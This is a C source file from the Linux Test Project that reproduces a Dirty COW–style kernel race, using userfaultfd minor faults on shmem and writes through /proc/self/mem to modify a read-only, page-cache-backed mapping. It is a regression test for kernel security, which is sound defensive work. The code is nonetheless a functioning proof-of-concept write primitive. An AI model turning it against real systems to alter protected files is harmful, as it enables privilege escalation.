1 // SPDX-License-Identifier: GPL-2.0-or-later
2 /*
3 * Copyright (C) 2022 Red Hat, Inc.
4 * Based on original reproducer: https://seclists.org/oss-sec/2022/q3/128
5 */
6
7 #include "config.h"
8
9 #include <fcntl.h>
10 #include <pthread.h>
11 #include <unistd.h>
12 #include <sys/stat.h>
13 #include <string.h>
14 #include <stdlib.h>
15 #include <stdint.h>
16 #include <pwd.h>
17 #include <poll.h>
18 #include <unistd.h>
19 #include <sys/mman.h>
20 #include <sys/syscall.h>
21 #include <sys/ioctl.h>
22
23 #define TST_NO_DEFAULT_MAIN
24 #include "tst_test.h"
25 #include "tst_safe_macros.h"
26 #include "tst_safe_pthread.h"
27 #include "lapi/userfaultfd.h"
28
29 #define TMP_DIR "tmp_dirtyc0w_shmem"
30 #define TEST_FILE TMP_DIR"/testfile"
31
32 static char *str = "m00000000000000000";
33 static void *map;
34 static int mem_fd;
35 static int uffd;
36 static size_t page_size;
37
stress_thread_fn(void * arg)38 static void *stress_thread_fn(void *arg)
39 {
40 while (1)
41 /* Don't optimize the busy loop out. */
42 asm volatile("" : "+r" (arg));
43
44 return NULL;
45 }
46
discard_thread_fn(void * arg)47 static void *discard_thread_fn(void *arg)
48 {
49 (void)arg;
50
51 while (1) {
52 char tmp;
53
54 /*
55 * Zap that page first, such that we can trigger a new
56 * minor fault.
57 */
58 madvise(map, page_size, MADV_DONTNEED);
59 /*
60 * Touch the page to trigger a UFFD minor fault. The uffd
61 * thread will resolve the minor fault via a UFFDIO_CONTINUE.
62 */
63 tmp = *((char *)map);
64 /* Don't optimize the read out. */
65 asm volatile("" : "+r" (tmp));
66 }
67
68 return NULL;
69 }
70
write_thread_fn(void * arg)71 static void *write_thread_fn(void *arg)
72 {
73 (void)arg;
74
75 while (1)
76 /*
77 * Ignore any errors -- errors mean that pwrite() would
78 * have to trigger a uffd fault and sleep, which the GUP
79 * variant doesn't support, so it fails with an I/O errror.
80 *
81 * Once we retry and are lucky to already find the placed
82 * page via UFFDIO_CONTINUE (from the other threads), we get
83 * no error.
84 */
85 pwrite(mem_fd, str, strlen(str), (uintptr_t) map);
86
87 return NULL;
88 }
89
uffd_thread_fn(void * arg)90 static void *uffd_thread_fn(void *arg)
91 {
92 static struct uffd_msg msg;
93 struct uffdio_continue uffdio;
94 struct uffdio_range uffdio_wake;
95
96 (void)arg;
97
98 while (1) {
99 struct pollfd pollfd;
100 int nready, nread;
101
102 pollfd.fd = uffd;
103 pollfd.events = POLLIN;
104 nready = poll(&pollfd, 1, -1);
105 if (nready < 0)
106 tst_brk(TBROK | TERRNO, "Error on poll");
107
108 nread = read(uffd, &msg, sizeof(msg));
109 if (nread <= 0)
110 continue;
111
112 uffdio.range.start = (unsigned long) map;
113 uffdio.range.len = page_size;
114 uffdio.mode = 0;
115 if (ioctl(uffd, UFFDIO_CONTINUE, &uffdio) < 0) {
116 if (errno == EEXIST) {
117 uffdio_wake.start = (unsigned long) map;
118 uffdio_wake.len = page_size;
119 SAFE_IOCTL(uffd, UFFDIO_WAKE, &uffdio_wake);
120 }
121 }
122 }
123
124 return NULL;
125 }
126
setup_uffd(void)127 static void setup_uffd(void)
128 {
129 struct uffdio_register uffdio_register;
130 struct uffdio_api uffdio_api;
131 int flags = O_CLOEXEC | O_NONBLOCK;
132
133 retry:
134 TEST(tst_syscall(__NR_userfaultfd, flags));
135 if (TST_RET < 0) {
136 if (TST_ERR == EPERM) {
137 if (!(flags & UFFD_USER_MODE_ONLY)) {
138 flags |= UFFD_USER_MODE_ONLY;
139 goto retry;
140 }
141 }
142 tst_brk(TBROK | TTERRNO,
143 "Could not create userfault file descriptor");
144 }
145 uffd = TST_RET;
146
147 uffdio_api.api = UFFD_API;
148 uffdio_api.features = UFFD_FEATURE_MINOR_SHMEM;
149 TEST(ioctl(uffd, UFFDIO_API, &uffdio_api));
150 if (TST_RET < 0) {
151 if (TST_ERR == EINVAL) {
152 tst_brk(TCONF,
153 "System does not have userfaultfd minor fault support for shmem");
154 }
155 tst_brk(TBROK | TTERRNO,
156 "Could not create userfault file descriptor");
157 }
158
159 if (!(uffdio_api.features & UFFD_FEATURE_MINOR_SHMEM))
160 tst_brk(TCONF, "System does not have userfaultfd minor fault support for shmem");
161
162 uffdio_register.range.start = (unsigned long) map;
163 uffdio_register.range.len = page_size;
164 uffdio_register.mode = UFFDIO_REGISTER_MODE_MINOR;
165 SAFE_IOCTL(uffd, UFFDIO_REGISTER, &uffdio_register);
166 }
167
sighandler(int sig)168 static void sighandler(int sig)
169 {
170 (void) sig;
171
172 _exit(0);
173 }
174
main(void)175 int main(void)
176 {
177 pthread_t thread1, thread2, thread3, *stress_threads;
178 int fd, i, num_cpus;
179 struct stat st;
180
181 tst_reinit();
182
183 SAFE_SIGNAL(SIGUSR1, sighandler);
184
185 page_size = getpagesize();
186 num_cpus = sysconf(_SC_NPROCESSORS_ONLN);
187
188 /* Create some threads that stress all CPUs to make the race easier to reproduce. */
189 stress_threads = malloc(sizeof(*stress_threads) * num_cpus * 2);
190 for (i = 0; i < num_cpus * 2; i++)
191 pthread_create(stress_threads + i, NULL, stress_thread_fn, NULL);
192
193 TST_CHECKPOINT_WAKE(0);
194
195 fd = SAFE_OPEN(TEST_FILE, O_RDONLY);
196 SAFE_FSTAT(fd, &st);
197
198 /*
199 * We need a read-only private mapping of the file. Ordinary write-access
200 * via the page tables is impossible, however, we can still perform a
201 * write access that bypasses missing PROT_WRITE permissions using ptrace
202 * (/proc/self/mem). Such a write access is supposed to properly replace
203 * the pagecache page by a private copy first (break COW), such that we are
204 * never able to modify the pagecache page.
205 *
206 * We want the following sequence to trigger. Assuming the pagecache page is
207 * mapped R/O already (e.g., due to previous action from Thread 1):
208 * Thread 2: pwrite() [start]
209 * -> Trigger write fault, replace mapped page by anonymous page
210 * -> COW was broken, remember FOLL_COW
211 * Thread 1: madvise(map, 4096, MADV_DONTNEED);
212 * -> Discard anonymous page
213 * Thread 1: tmp += *((int *)map);
214 * -> Trigger a minor uffd fault
215 * Thread 3: ioctl(uffd, UFFDIO_CONTINUE
216 * -> Resolve minor uffd fault via UFFDIO_CONTINUE
217 * -> Map shared page R/O but set it dirty
218 * Thread 2: pwrite() [continue]
219 * -> Find R/O mapped page that's dirty and FOLL_COW being set
220 * -> Modify shared page R/O because we don't break COW (again)
221 */
222 map = SAFE_MMAP(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
223 mem_fd = SAFE_OPEN("/proc/self/mem", O_RDWR);
224
225 setup_uffd();
226
227 SAFE_PTHREAD_CREATE(&thread1, NULL, discard_thread_fn, NULL);
228 SAFE_PTHREAD_CREATE(&thread2, NULL, write_thread_fn, NULL);
229 SAFE_PTHREAD_CREATE(&thread3, NULL, uffd_thread_fn, NULL);
230
231 pause();
232
233 return 0;
234 }
235